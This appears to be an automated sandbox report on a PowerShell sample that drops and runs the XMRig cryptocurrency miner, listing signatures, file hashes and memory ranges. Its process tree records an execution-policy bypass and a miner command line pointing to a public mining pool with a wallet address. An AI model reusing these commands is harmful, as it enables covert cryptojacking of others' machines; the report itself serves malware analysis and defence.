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Analysis

  • max time kernel
    1799s
  • max time network
    1794s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240508-en
  • resource tags

    arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    28/05/2024, 01:50

General

  • Target
    file01 - copia (9).ps1
  • Size 462B
  • Sample240528-b9dmesbe59
  • SHA256 b45546367df23b2459a55ffa753ad4d66f8588263f87c339fb81cde87c3ffba4
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy bypass -File "C:\Users\Admin\AppData\Local\Temp\file01 - copia (9).ps1"
    1⤵
    • Blocklisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2308
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe
      "C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe" -o gulf.moneroocean.stream:10128 -u 45aHvZ4X3ZvdhLiEiP1cjsXmSkMNoM2QFYNmXCsoTRY9h2EwjtoYcfrVpEojtmBeg5cRsY9J82Lqp6hUanQ1Dsu4UNfKxdF
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:4500

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        __PSScriptPolicyTest_2q44rtko.hel.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2q44rtko.hel.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512

        xmrig.exe

        • Path C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe
        • Size 9.1MB
        • SHA256 2025f4fe930440da147eecd24a368d3a2f3c1883c499186eb429e9d662c90fda
        • MD5 SHA1 SHA512 SSDEEP

        memory/2308-0-0x00007FFE097B3000-0x00007FFE097B5000-memory.dmp

        memory/2308-9-0x0000011F79400000-0x0000011F79422000-memory.dmp

        memory/2308-10-0x00007FFE097B0000-0x00007FFE0A272000-memory.dmp

        memory/2308-11-0x00007FFE097B0000-0x00007FFE0A272000-memory.dmp

        memory/2308-12-0x00007FFE097B0000-0x00007FFE0A272000-memory.dmp

        memory/2308-14-0x0000011F79470000-0x0000011F79482000-memory.dmp

        memory/2308-15-0x0000011F79460000-0x0000011F7946A000-memory.dmp

        memory/2308-49-0x00007FFE097B0000-0x00007FFE0A272000-memory.dmp

        memory/2308-52-0x00007FFE097B3000-0x00007FFE097B5000-memory.dmp

        memory/4500-46-0x000001A8FDBB0000-0x000001A8FDBD0000-memory.dmp

        memory/4500-47-0x000001A8FDC10000-0x000001A8FDC30000-memory.dmp

        memory/4500-48-0x00007FF6EFF70000-0x00007FF6F0BA3000-memory.dmp

        memory/4500-51-0x000001A8FDC50000-0x000001A8FDC70000-memory.dmp

        memory/4500-50-0x000001A8FDC30000-0x000001A8FDC50000-memory.dmp

        memory/4500-53-0x00007FF6EFF70000-0x00007FF6F0BA3000-memory.dmp

        memory/4500-54-0x00007FF6EFF70000-0x00007FF6F0BA3000-memory.dmp

        memory/4500-57-0x000001A8FDC50000-0x000001A8FDC70000-memory.dmp

        memory/4500-56-0x000001A8FDC30000-0x000001A8FDC50000-memory.dmp

        memory/4500-55-0x00007FF6EFF70000-0x00007FF6F0BA3000-memory.dmp

        memory/4500-58-0x00007FF6EFF70000-0x00007FF6F0BA3000-memory.dmp

        memory/4500-59-0x00007FF6EFF70000-0x00007FF6F0BA3000-memory.dmp

        memory/4500-60-0x00007FF6EFF70000-0x00007FF6F0BA3000-memory.dmp

        memory/4500-61-0x00007FF6EFF70000-0x00007FF6F0BA3000-memory.dmp

        memory/4500-62-0x00007FF6EFF70000-0x00007FF6F0BA3000-memory.dmp

        memory/4500-63-0x00007FF6EFF70000-0x00007FF6F0BA3000-memory.dmp

        memory/4500-64-0x00007FF6EFF70000-0x00007FF6F0BA3000-memory.dmp

        memory/4500-65-0x00007FF6EFF70000-0x00007FF6F0BA3000-memory.dmp

        memory/4500-66-0x00007FF6EFF70000-0x00007FF6F0BA3000-memory.dmp

        memory/4500-67-0x00007FF6EFF70000-0x00007FF6F0BA3000-memory.dmp

        memory/4500-68-0x00007FF6EFF70000-0x00007FF6F0BA3000-memory.dmp

        memory/4500-69-0x00007FF6EFF70000-0x00007FF6F0BA3000-memory.dmp

        memory/4500-70-0x00007FF6EFF70000-0x00007FF6F0BA3000-memory.dmp

        memory/4500-71-0x00007FF6EFF70000-0x00007FF6F0BA3000-memory.dmp

        memory/4500-72-0x00007FF6EFF70000-0x00007FF6F0BA3000-memory.dmp

        memory/4500-73-0x00007FF6EFF70000-0x00007FF6F0BA3000-memory.dmp

        memory/4500-74-0x00007FF6EFF70000-0x00007FF6F0BA3000-memory.dmp

        memory/4500-75-0x00007FF6EFF70000-0x00007FF6F0BA3000-memory.dmp

        memory/4500-76-0x00007FF6EFF70000-0x00007FF6F0BA3000-memory.dmp

        memory/4500-77-0x00007FF6EFF70000-0x00007FF6F0BA3000-memory.dmp

        memory/4500-78-0x00007FF6EFF70000-0x00007FF6F0BA3000-memory.dmp

        memory/4500-79-0x00007FF6EFF70000-0x00007FF6F0BA3000-memory.dmp

        memory/4500-80-0x00007FF6EFF70000-0x00007FF6F0BA3000-memory.dmp

        memory/4500-81-0x00007FF6EFF70000-0x00007FF6F0BA3000-memory.dmp

        memory/4500-82-0x00007FF6EFF70000-0x00007FF6F0BA3000-memory.dmp

        memory/4500-83-0x00007FF6EFF70000-0x00007FF6F0BA3000-memory.dmp

        memory/4500-84-0x00007FF6EFF70000-0x00007FF6F0BA3000-memory.dmp

        memory/4500-85-0x00007FF6EFF70000-0x00007FF6F0BA3000-memory.dmp

        memory/4500-86-0x00007FF6EFF70000-0x00007FF6F0BA3000-memory.dmp

        memory/4500-87-0x00007FF6EFF70000-0x00007FF6F0BA3000-memory.dmp

        memory/4500-88-0x00007FF6EFF70000-0x00007FF6F0BA3000-memory.dmp

        memory/4500-89-0x00007FF6EFF70000-0x00007FF6F0BA3000-memory.dmp

        memory/4500-90-0x00007FF6EFF70000-0x00007FF6F0BA3000-memory.dmp

        memory/4500-91-0x00007FF6EFF70000-0x00007FF6F0BA3000-memory.dmp

        memory/4500-92-0x00007FF6EFF70000-0x00007FF6F0BA3000-memory.dmp

        memory/4500-93-0x00007FF6EFF70000-0x00007FF6F0BA3000-memory.dmp

        memory/4500-94-0x00007FF6EFF70000-0x00007FF6F0BA3000-memory.dmp

        memory/4500-95-0x00007FF6EFF70000-0x00007FF6F0BA3000-memory.dmp

        memory/4500-96-0x00007FF6EFF70000-0x00007FF6F0BA3000-memory.dmp

        memory/4500-97-0x00007FF6EFF70000-0x00007FF6F0BA3000-memory.dmp

        memory/4500-98-0x00007FF6EFF70000-0x00007FF6F0BA3000-memory.dmp

        memory/4500-99-0x00007FF6EFF70000-0x00007FF6F0BA3000-memory.dmp

        memory/4500-100-0x00007FF6EFF70000-0x00007FF6F0BA3000-memory.dmp

        memory/4500-101-0x00007FF6EFF70000-0x00007FF6F0BA3000-memory.dmp

        memory/4500-102-0x00007FF6EFF70000-0x00007FF6F0BA3000-memory.dmp

        memory/4500-103-0x00007FF6EFF70000-0x00007FF6F0BA3000-memory.dmp

        memory/4500-104-0x00007FF6EFF70000-0x00007FF6F0BA3000-memory.dmp

        memory/4500-105-0x00007FF6EFF70000-0x00007FF6F0BA3000-memory.dmp

        memory/4500-106-0x00007FF6EFF70000-0x00007FF6F0BA3000-memory.dmp

        memory/4500-107-0x00007FF6EFF70000-0x00007FF6F0BA3000-memory.dmp

        memory/4500-108-0x00007FF6EFF70000-0x00007FF6F0BA3000-memory.dmp

        memory/4500-109-0x00007FF6EFF70000-0x00007FF6F0BA3000-memory.dmp

        memory/4500-110-0x00007FF6EFF70000-0x00007FF6F0BA3000-memory.dmp

        memory/4500-111-0x00007FF6EFF70000-0x00007FF6F0BA3000-memory.dmp

        memory/4500-112-0x00007FF6EFF70000-0x00007FF6F0BA3000-memory.dmp

        memory/4500-113-0x00007FF6EFF70000-0x00007FF6F0BA3000-memory.dmp

        memory/4500-114-0x00007FF6EFF70000-0x00007FF6F0BA3000-memory.dmp

        memory/4500-115-0x00007FF6EFF70000-0x00007FF6F0BA3000-memory.dmp

        memory/4500-116-0x00007FF6EFF70000-0x00007FF6F0BA3000-memory.dmp